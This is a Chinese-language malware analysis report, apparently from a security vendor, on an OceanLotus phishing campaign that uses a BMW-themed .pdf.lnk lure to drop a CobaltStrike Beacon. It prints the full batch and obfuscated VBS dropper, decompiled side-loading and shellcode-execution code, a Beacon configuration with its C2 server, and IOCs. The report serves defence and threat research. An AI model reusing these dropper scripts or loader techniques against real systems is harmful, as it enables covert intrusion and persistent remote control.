2023年11月:海莲花组织模仿APT29攻击行动分析报告

概述

  2023年11月,海莲花组织针对国内目标群体,以购买BMW汽车为主题,诱导目标打开一个含有恶意脚本代码的快捷方式,本次行动攻击方式与今年初APT29所使用的攻击手法较为相似,因而疑似是刻意模仿,该快捷方式伪装名称BMW_2023年机构及院士销售价格框架.pdf.lnk,一旦启动,将在本机释放恶意的可执行文件,注册自启动,并在最终执行一个CobaltStrike Beacon来建立持久的连接。

ATT&CK技术矩阵

战术 技术 具体行为
TA0001 初始访问 T1566 网络钓鱼 通过网络钓鱼电子邮件的方式发送给受害者
TA0002 执行 T1204 用户执行 攻击者诱惑用户点击诱饵文档,以此来执行恶意宏代码
TA0002 执行 T1059 命令和脚本解释器 执行vbsbat脚本
TA0003 持久化 T1547 启动或登录自动执行 为可执行程序添加Run注册表启动项
TA0003 持久化 T1574 劫持执行流 使用DLL侧加载执行恶意代码
TA0005 防御规避 T1140 去混淆或解密文件和信息 对ShellCode和最终的Beacon进行解密操作
TA0005 防御规避 T1036 伪装 通过Lenovo无效签名伪装自身
TA0005 防御规避 T1036 伪装 初始攻击载荷使用双扩展名.pdf.lnk
TA0010 外传信息 T1041 通过C2通道外传 接收控制指令与上传数据共用同一条通道
TA0011 指挥与控制 T1071 应用层协议 使用HTTP协议与服务器进行通信

攻击事件概述

展开的诱饵文档是以BMW车辆销售咨询为主题的中文PDF,因此攻击者本次瞄准的攻击目标应当是以简体中文为主中国境内的目标。

诱饵文件(PDF)内容展示

图:诱饵文件(PDF)内容展示

在本次攻击行动中,攻击者疑似通过钓鱼邮件附件的方式投递恶意的lnk文件,目标启动该文件后使用一个真实PDF的文件来迷惑受害者,最终在受害者机器中启动CobaltStrike的后门程序,完成对目标的入侵和持续性控制。

本次攻击的流程图

图:本次攻击的流程图

样本分析

起始执行:BMW_2023年机构及院士销售价格框架.pdf.lnk

字段 内容
原始文件名 BMW_2023年机构及院士销售价格框架.pdf.lnk
文件大小 625 KB
文件 MD5 F3A79156DAA75A2C09C46309F68C3DE7
文件类型 LNK
病毒名 Dropper.Agent/LNK!1.F0D1
主要功能 通过Cmd执行bat脚本,mstha执行HTML中的vbs脚本

初始样本为BMW_2023年机构及院士销售价格框架.pdf.lnk的快捷方式文件,该文件包含一段参数,通过指定shell32.dllShellExec_RunDll可以启动CMD以带参数形式执行一段bat脚本。

快捷方式(LNK)文件中所携带的参数信息

图:快捷方式(LNK)文件中所携带的参数信息

bat脚本判断是否存在360驱动程序,360FsFlt.sys,如果存在则弹出不支持打开该关型文件或文件已损坏。文件名: "BMW_2023年机构及院士销售价格框架.pdf"窗口,并删除自身。

否则将BMW_2023年机构及院士销售价格框架.pdf.lnk拷贝并重命名到"%USERPROFILE%\NTUSER.DAT{9a91c082-225a-4f2c-9a80-fc75895096f0}.TM.alf"

通过mshta.exe启动该文件,执行其中的HTML代码。随后该脚本执行5秒的等待,在等待结束后,启动释放好的文件LenovoDesk.exe

if not exist "%SystemRoot%\System32\drivers\360FsFlt.sys" (
    if not exist "BMW_2023年机构及院士销售价格框架.pdf.lnk" (
        forfiles /P %USERPROFILE% /S /M "BMW_2023年机构及院士销售价格框架.pdf.lnk" /C "cmd /c copy "@path" "%USERPROFILE%\NTUSER.DAT{9a91c082-225a-4f2c-9a80-fc75895096f0}.TM.alf""
    ) else (
        copy "%CD%\BMW_2023年机构及院士销售价格框架.pdf.lnk" "%USERPROFILE%\NTUSER.DAT{9a91c082-225a-4f2c-9a80-fc75895096f0}.TM.alf"
    )
    mshta.exe "%USERPROFILE%\NTUSER.DAT{9a91c082-225a-4f2c-9a80-fc75895096f0}.TM.alf"
    if not exist "%APPDATA%\Lenovo\devicecenter\extends\modules\showdesk\QuickDeskBand.dll" (
        timeout 5
        if not exist "%APPDATA%\Lenovo\devicecenter\extends\modules\showdesk\QuickDeskBand.dll" (
            exit
        ) else (
            start /min "" "%APPDATA%\Lenovo\devicecenter\extends\modules\showdesk\LenovoDesk.exe"
        )
    ) else (
        timeout 1
        start /min "" "%APPDATA%\Lenovo\devicecenter\extends\modules\showdesk\LenovoDesk.exe"
    )
) else (
    msg.exe %username% 不支持打开该关型文件或文件已损坏。文件名: "BMW_2023年机构及院士销售价格框架.pdf"
    if not exist "BMW_2023年机构及院士销售价格框架.pdf.lnk" (
        forfiles /P %USERPROFILE% /S /M "BMW_2023年机构及院士销售价格框架.pdf.lnk" /C "cmd /c del /q "@path""
    ) else (
        del /q "%CD%\BMW_2023年机构及院士销售价格框架.pdf.lnk"
    )
)

mshta.exe启动文件NTUSER.DAT{9a91c082-225a-4f2c-9a80-fc75895096f0}.TM.alf"时,只会将HTML标签内包裹的内容执行,而这段内容是一个VBS脚本,脚本主要是为了创建目录%APPDATA%\Lenovo\devicecenter\extends\modules\showdesk\,并释放文件LenovoDesk.exeQuickDeskBand.dll

Const edsjtnsgxjgzmgcxptb = 1  
Function var_func()
    On Error Resume Next
    shellstring = hjyqxfkpucyvkbq("35373733") & hjyqxfkpucyvkbq("36333732363937303734326535333638363536633663") '577363726970742e5368656c6c(Wscript.Shell)
    adostring = hjyqxfkpucyvkbq("3431") & hjyqxfkpucyvkbq("34343466343434323265353337343732363536313664")   '41444f44422e53747265616d(ADODB.Stream)
    dstring = hjyqxfkpucyvkbq("30303432303034643030353730303566303033323030333030303332303033333565373436373361363738") & hjyqxfkpucyvkbq("3435336361393636323538656239353030353532653465663736383363363834363637623630303265303037303030363430303636")
    '0042004d0057005f00320030003200335e74673a678453ca966258eb9500552e4ef7683c684667b6002e007000640066("BMW_2023年机构及院士销售价格框架.pdf")
    Dim enhodovbjlocu
    Dim bwyqeaiywrrnpqd
    Dim var_shellobjectstring
    Dim var_adostring
    Dim tmpA
    Dim tmpB
    Dim tmpD
    Dim tmpLL
    Dim readBytes
    For i = 1 to Len(adostring) Step 2
        var_adostring = var_adostring & Chr(CLng(hjyqxfkpucyvkbq("2648") & Mid(adostring,i,2)))   '&H
    Next
    For i = 1 to Len(shellstring) Step 2
        var_shellobjectstring = var_shellobjectstring & Chr(CLng(hjyqxfkpucyvkbq("2648") & Mid(shellstring,i,2))) '&H
    Next
    Set enhodovbjlocu = CreateObject(var_shellobjectstring)
    Set bwyqeaiywrrnpqd = CreateObject(hjyqxfkpucyvkbq("536372697074696e672e46696c6553797374") & hjyqxfkpucyvkbq("656d4f626a656374"))
    'Scripting.FileSystemObject

    Dim tmpLir
    tmpLir = enhodovbjlocu.ExpandEnvironmentStrings("%USERPROFILE%")
    baseDir = tmpLir & hjyqxfkpucyvkbq("5c4170704461") & hjyqxfkpucyvkbq("74615c526f616d696e675c4c656e6f766f")  
    '\AppData\Roaming\Lenovo
    bwyqeaiywrrnpqd.CreateFolder(baseDir)
    baseDir = tmpLir & hjyqxfkpucyvkbq("5c417070446174615c526f616d696e") & hjyqxfkpucyvkbq("675c4c656e6f766f")  
    '\AppData\Roaming\Lenovo
    bwyqeaiywrrnpqd.CreateFolder(baseDir)
    baseDir = tmpLir & hjyqxfkpucyvkbq("5c417070") & hjyqxfkpucyvkbq("446174615c526f616d696e675c4c656e6f766f5c64657669636563656e746572")    
    '\AppData\Roaming\Lenovo\devicecenter
    bwyqeaiywrrnpqd.CreateFolder(baseDir)
    baseDir = tmpLir & hjyqxfkpucyvkbq("5c417070446174615c526f61") & hjyqxfkpucyvkbq("6d696e675c4c656e6f766f5c64657669636563656e7465725c657874656e6473")    
    '\AppData\Roaming\Lenovo\devicecenter\extends
    bwyqeaiywrrnpqd.CreateFolder(baseDir)
    baseDir = tmpLir & hjyqxfkpucyvkbq("5c417070446174615c526f616d696e675c4c656e6f766f5c64657669636563656e7465725c657874656e") & hjyqxfkpucyvkbq("64735c6d6f64756c6573")    
    '\AppData\Roaming\Lenovo\devicecenter\extends\modules
    bwyqeaiywrrnpqd.CreateFolder(baseDir)
    baseDir = tmpLir & hjyqxfkpucyvkbq("5c417070446174615c526f616d696e675c4c656e6f766f5c64657669636563656e7465") & hjyqxfkpucyvkbq("725c657874656e64735c6d6f64756c65735c73686f776465736b")
    '\AppData\Roaming\Lenovo\devicecenter\extends\modules\showdesk
    bwyqeaiywrrnpqd.CreateFolder(baseDir)
    tmpA = baseDir & hjyqxfkpucyvkbq("5c") & hjyqxfkpucyvkbq("4c656e6f76") & hjyqxfkpucyvkbq("6f4465736b2e657865")
    '\LenovoDesk.exe
    tmpB = baseDir & hjyqxfkpucyvkbq("5c") & hjyqxfkpucyvkbq("5175") & hjyqxfkpucyvkbq("69636b4465736b42616e642e646c6c")
    '\QuickDeskBand.dll
    For i = 1 to Len(dstring) Step 4
        'BMW_2023年机构及院士销售价格框架.pdf
        var_dn = var_dn & ChrW(CLng(hjyqxfkpucyvkbq("2648") & Mid(dstring,i,4)))  '&H
    Next
    tmpD = bwyqeaiywrrnpqd.GetSpecialFolder(2) & hjyqxfkpucyvkbq("5c") & var_dn   '\
    tmpLL = enhodovbjlocu.ExpandEnvironmentStrings("%USERPROFILE%") & "\\" & "NTUSER.DAT{9a91c082-225a-4f2c-9a80-fc75895096f0}.TM.alf"
    Dim hvufffhqcicb  
    Set hvufffhqcicb = CreateObject(var_adostring)  
    hvufffhqcicb.Open  'ADODB.Stream .Open
    hvufffhqcicb.type= edsjtnsgxjgzmgcxptb   
    hvufffhqcicb.LoadFromFile(tmpLL)            '读取文件NTUSER.DAT{9a91c082-225a-4f2c-9a80-fc75895096f0}.TM.alf
    hvufffhqcicb.Position = 11598            
    areadBytes = hvufffhqcicb.Read(249374)      '读取二进制数据(LenovoDesk.exe)
    breadBytes = hvufffhqcicb.Read(1032190)     '读取二进制数据(QuickDeskBand.dll)
    dreadBytes = hvufffhqcicb.Read()            '读取二进制数据(BMW_2023年机构及院士销售价格框架.pdf)
    Dim rkpolnumax
    Set rkpolnumax = CreateObject(var_adostring)  
    rkpolnumax.Type = edsjtnsgxjgzmgcxptb
    rkpolnumax.Open
    rkpolnumax.Write dreadBytes
    rkpolnumax.SaveToFile tmpD, 2               'BMW_2023年机构及院士销售价格框架.pdf被保存到%TEMP%目录下
    enhodovbjlocu.run """" & tmpD & """", 1, false
    Set nggbyvrwykrwp = CreateObject(var_adostring)
    nggbyvrwykrwp.Type = 2
    nggbyvrwykrwp.charset = hjyqxfkpucyvkbq("49534f") & hjyqxfkpucyvkbq("2d383835392d31")   'ISO-8859-1
    nggbyvrwykrwp.Open 
    nggbyvrwykrwp.WriteText Chr(CLng(hjyqxfkpucyvkbq("2648") & hjyqxfkpucyvkbq("3444")))    '&H4D
    nggbyvrwykrwp.WriteText Chr(CLng(hjyqxfkpucyvkbq("2648") & hjyqxfkpucyvkbq("3541")))    '&H5A
    nggbyvrwykrwp.SaveToFile tmpA, 2        '创建文件LenovoDesk.exe并写入4D5A标识
    nggbyvrwykrwp.Close
    Dim gzyldxlvvdgv  
    Set gzyldxlvvdgv = CreateObject(var_adostring)  
    gzyldxlvvdgv.type = edsjtnsgxjgzmgcxptb   
    gzyldxlvvdgv.Open  
    gzyldxlvvdgv.LoadFromFile(tmpA) 
    MZBytesA = gzyldxlvvdgv.Read()
    Dim ikycinzxhfb
    Set ikycinzxhfb = CreateObject(var_adostring)  
    ikycinzxhfb.Type = edsjtnsgxjgzmgcxptb
    ikycinzxhfb.Open 
    ikycinzxhfb.Write MZBytesA
    ikycinzxhfb.Write areadBytes
    ikycinzxhfb.SaveToFile tmpA, 2          '向LenovoDesk.exe写入可执行文件的二进制数据
    Set pmxeqgvocevpvwzakw = CreateObject(var_adostring)
    pmxeqgvocevpvwzakw.Type = 2
    pmxeqgvocevpvwzakw.charset = hjyqxfkpucyvkbq("49534f2d") & hjyqxfkpucyvkbq("383835392d31")  'ISO-8859-1
    pmxeqgvocevpvwzakw.Open 
    pmxeqgvocevpvwzakw.WriteText Chr(CLng(hjyqxfkpucyvkbq("2648") & hjyqxfkpucyvkbq("3444")))   '&H4D
    pmxeqgvocevpvwzakw.WriteText Chr(CLng(hjyqxfkpucyvkbq("2648") & hjyqxfkpucyvkbq("3541")))   '&H5A
    pmxeqgvocevpvwzakw.SaveToFile tmpB, 2   '创建文件QuickDeskBand.dll并写入4D5A标识
    pmxeqgvocevpvwzakw.Close
    Dim eucdkmaabgbez  
    Set eucdkmaabgbez = CreateObject(var_adostring)  
    eucdkmaabgbez.type = edsjtnsgxjgzmgcxptb   
    eucdkmaabgbez.Open  
    eucdkmaabgbez.LoadFromFile(tmpB) 
    MZBytesB = eucdkmaabgbez.Read()
    Dim izcrzwaohdozo
    Set izcrzwaohdozo = CreateObject(var_adostring)  
    izcrzwaohdozo.Type = edsjtnsgxjgzmgcxptb
    izcrzwaohdozo.Open 
    izcrzwaohdozo.Write MZBytesB
    izcrzwaohdozo.Write breadBytes
    izcrzwaohdozo.SaveToFile tmpB, 2        ''向QuickDeskBand.dll写入可执行文件的二进制数据
End Function

Function hjyqxfkpucyvkbq(ByVal tovnkbjck )     '将混淆的字符串转换为十六进制数据
    Dim icsxzggrlb 
    For icsxzggrlb = 1 To Len(tovnkbjck) Step 2
        hjyqxfkpucyvkbq = hjyqxfkpucyvkbq & Chr(CInt("&H" & Mid(tovnkbjck, icsxzggrlb, 2)))
    Next '//icsxzggrlb
End Function

var_func

在执行上一段VBS脚本后,将会打开真正的pdf文件BMW_2023年机构及院士销售价格框架.pdf,以迷惑用户。

释放CobaltStrike:QuickDeskBand.dll

字段 内容
原始文件名 QuickDeskBand.dll
文件大小 0.98 MB
文件 MD5 08EFE8C1385E8F77A510ACED92392AFB
文件类型 Win32.DLL
病毒名 Trojan.[OceanLotus]PELoader!1.F0D5
主要功能 通过白加黑的方式启动,解密并执行反射DLL

LenovoDesk.exe是一个具有联想过期签名的白文件。

image

图:LenovoDesk数字签名信息

LenovoDesk.exe在运行后加载QuickDeskBand.dll,随后执行ShowBatteryGauge函数,由该函数进行后续恶意的操作。

hLibModule = LoadLibraryW(L"QuickDeskBand.dll");
v12 = sub_401920();
sub_401BB0(v12, 3, L"32", L"main.cpp", 97, v17);
if ( hLibModule )
{
    v13 = sub_401920();
    sub_401BB0(v13, 3, L"hmodule", L"main.cpp", 101, v18);
    pShowBatteryGauge = GetProcAddress(hLibModule, "ShowBatteryGauge");
    (pShowBatteryGauge)(v10);
    if ( v10 )
    sub_404870(v15);
    FreeLibrary(hLibModule);
}

创建自启动注册表项,并将LenovoDesk.exe以及QuickDeskBand.dll释放到目录%AppData%\Lenovo\devicecenter\extends\modules\showdesk\中。

键:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
值:LenovoDesk

进程名称的后15字节\LenovoDesk.exe作为解密密钥。在QuickDeskBand.dll数据段的off_6BAC3020处存在一块0x3380C大小的加密数据,通过密钥轮异或解密。解密后数据以IPv4形式显示,通过RtlIpv4StringToAddressA函数,这些IPv4的数据最终被转换为十六进制可执行数据保存到栈上,该段数据被EnumFontFamiliesW设置为回调函数起始地址从而执行ShellCode

v0 = HeapCreate(0x40008, 0, 0);
v10 = HeapAlloc(v0, 0, 0x3380C);
v9 = 52739;
GetModuleFileNameA(0, v5, 0xFF);
v8 = 15;
for ( i = 0; i <= 14; ++i )
{
v1 = strlen(v5);
v4[i] = *(&v5[i - 15] + v1);
}
v13 = v10;
for ( j = 0; j < v9; ++j )
{
for ( k = 0; k <= 14; ++k )
    v6[k] = v4[k] ^ off_6BAC3020[j][k];         //解密ShellCode
RtlIpv4StringToAddressA(v6, 0, v6, v13);        //转为十六进制
v13 += 4;
}
VirtualProtect(v10, 0x3380C, PAGE_EXECUTE_READ, &v3);
v7 = GetDC(0);
EnumFontFamiliesW(v7, 0, v10, 0);               //执行Shellcode
return 0;

ShellCode在执行后先通过PEB查找Kernel32.dll模块获取其中GetProcAddressLoadLibrary等关键函数的地址。

MOV EDX,DWORD PTR SS:[EBP-0x34]
MOV DWORD PTR SS:[EBP-0x10],EDX
CMP DWORD PTR SS:[EBP-0x10],0xEC0E4E8E      ; LoadLibraryA
JE SHORT 00328954
CMP DWORD PTR SS:[EBP-0x10],0x7C0DFCAA      ; GetProcAddress
JE SHORT 00328954
CMP DWORD PTR SS:[EBP-0x10],0x91AFCA54      ; VirtualAlloc
JE SHORT 00328954
CMP DWORD PTR SS:[EBP-0x10],0x7946C61B      ; VirtualProtect
JE SHORT 00328954
CMP DWORD PTR SS:[EBP-0x10],0x753A4FC       ; LoadLibraryExA
JE SHORT 00328954
CMP DWORD PTR SS:[EBP-0x10],0xD3324904      ; GetModuleHandleA
JNZ 00328A0E

CobaltStrike后门:beacon.dll

字段 内容
原始文件名 beacon.dll
文件大小 210 KB
文件 MD5 14D636B4AE9A5D608CD3172EB2F6705B
文件类型 Win32.DLL
病毒名 Backdoor.CobaltStrike!1.D418
主要功能 该文件是一个CobaltStrike生成的Beacon.dll,用于连接攻击者的TeamServer

该段ShellCode将通过反射加载来修复并且执行一个CobaltStrike DLL文件,反射函数的名称为_execute,该DLL的PE文件标识被修改为NO,在FileHeader.NumberOfSymbols中存储解密DLL代码段和数据段的密码0xC3,通过异或解密入口代码块以及导入表的函数。OptionalHeader.LoaderFlags中存储真正的OEP偏移地址,_execute最终读取该地址计算OEP的虚拟地址以实现内存执行到DllMain

v6 = 0;
v4 = 0;
v9 = 0;
v10 = 0x41414141;
v11 = 0x42424242;
v12 = 0;
v13 = 0;
v14 = 0;
v15 = 0;
v16 = 0;
v17 = 0;
v18 = 0;
v19 = 0;
v20 = 0;
v3 = Find_PE_head();
if ( (v11 & 0xFFFFFF) == 0x424242 )
Get_Pre_Module_Func(&v10);
if ( !Check_Func_Addr(&v10) )
Set_Pre_Module_Func(&v10);
v8 = *(v3 + 0x3C) + v3;
if ( *(v8 + 0x16) & 0x8000 )
v9 = 0x40;
else
v9 = 4;
Buffer = call_vritualAlloc(&v10, v8, v3, v9);
memset(Buffer, 0, *(v8 + 0x50));
NumberOfSymbols = *(v8 + 0x10);
Buffer = GetDecodeKey(Buffer, v8, v3, NumberOfSymbols);//(NumberOfSymbols)XorKey
Section_Mem_Expand(Buffer, v8, v3, &v6, &v4);
Decrypt_And_LoadModule_Function(&v10, Buffer, v8, v3, NumberOfSymbols);
DecryptData(v6, v4, NumberOfSymbols);         // DecryptSectionData
RelcationTable(Buffer, v8);
CheckSectionProtect(&v10, v6, v4, v9);
memset(&v10, 0, 0x2Cu);
if ( *(v8 + 0x16) & 0x1000 )
v7 = Buffer + *(v8 + 0x70); //LoaderFlags(EntryPoint)
else
v7 = Buffer + *(v8 + 0x28);
(v7)(Buffer, 1, a1);
return v7;

Beacon.DllDllMain初始执行时,也将通过异或"0x2E"解密得到配置文件信息,以便后续建立连接。

  dword_1003AEE8 = malloc(0x400u);
  memset(dword_1003AEE8, 0, 0x400u);
  v1 = 0;
  do
  {
    byte_10032020[v1] ^= 0x2Eu;
    ++v1;
  }
  while ( v1 < 4096 );

Beacon解密配置信息如下:

BeaconType:                      : 0 (HTTP)
Port:                            : 80
Polling(ms):                     : 5954
MaxGetSize:                      : 1402444
Jitter:                          : 44
C2Server:                        : 161.129.34.132,/expresscart/list
Injection_Process:               :
Spawnto_x86:                     : %windir%\syswow64\getmac.exe
Spawnto_x64:                     : %windir%\sysnative\powercfg.exe
CryptoScheme:                    : 0
HTTP_Method1:                    : GET
HTTP_ Method2:                   : POST
HttpPostChunk:                   : 0
Watermark:                       : 1359593325
StageCleanup:                    : True
CfgCaution:                      : False
UserAgent:                       : Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
HTTP_Post_URI:                   : /checkout/cartSplit/getTotalPrice.do
HTTP_Method1_Header:             : Accept: */*
                                 : Host: www.dhgate.com
                                 : Accept-Encoding: gzip, deflate, br
                                 : Sec-Fetch-Dest: iframe
                                 : Sec-Fetch-Mode: navigate
                                 : Sec-Fetch-Site: same-origin
                                 : vid=Hi3guA5Ji3kIlkk8LPX10WpSrkXCdZWH_IM9yXPiTdmLv63lnVHyFlitRnTJpBZXFe3-XidYEje0rGU7rKfWIROM5H8vrMZgMjUPA5fDRCE7Mc7ETkDCUxDSNj2pCqYPaDGPpyeYSqLsB3k9R2td7lb8fEiG_9s-gPRjFrS51lXwuqPM
                                 : Cookie
HTTP_Method2_Header:             : Accept: */*
                                 : Content-Type: application/json;charset=utf-8
                                 : Accept-Encoding: gzip, deflate, br
                                 : Host: shoppingcart.dhgate.com
                                 : client
                                 : {"cartId"
                                 : :""}
HostHeader:                      :
UsesCookies:                     : True
KillDate:                        : 0
ProcInject_StartRWX:             : True
ProcInject_UseRWX:               : True
ProcInject_MinAllocSize:         : 17500
ProcInject_PrependAppend_x86:    : 
ProcInject_PrependAppend_x64:    : 
PipeName:                        : 

攻击过程可视化(EDR)

瑞星EDR产品已能够将恶意软件的关系网进行可视化展示,其强大的威胁调查功能可以从任意节点对该勒索进行溯源梳理,并定位关键行为。同时再结合瑞星EDR中特有的AI技术,以自然语言向用户详细介绍和分析恶意软件的整个攻击流程,全方位还原完整攻击链。

image

图:瑞星EDR可视化展示本次海莲花组织的攻击过程

image

图:瑞星EDR的AI技术通过自然语言详细分析攻击流程

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本。

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    F3A79156DAA75A2C09C46309F68C3DE7
    08EFE8C1385E8F77A510ACED92392AFB
    14D636B4AE9A5D608CD3172EB2F6705B
  • IPV4

    161.129.34.132
  • URL

    hxxp://161.129.34.132/expresscart/list
    hxxp://161.129.34.132/checkout/cartSplit/getTotalPrice.do
  • 瑞星病毒名

    Dropper.[OceanLotus]Agent/VBS!1.F0DA
    Trojan.[OceanLotus]PELoader!1.F0D5

Author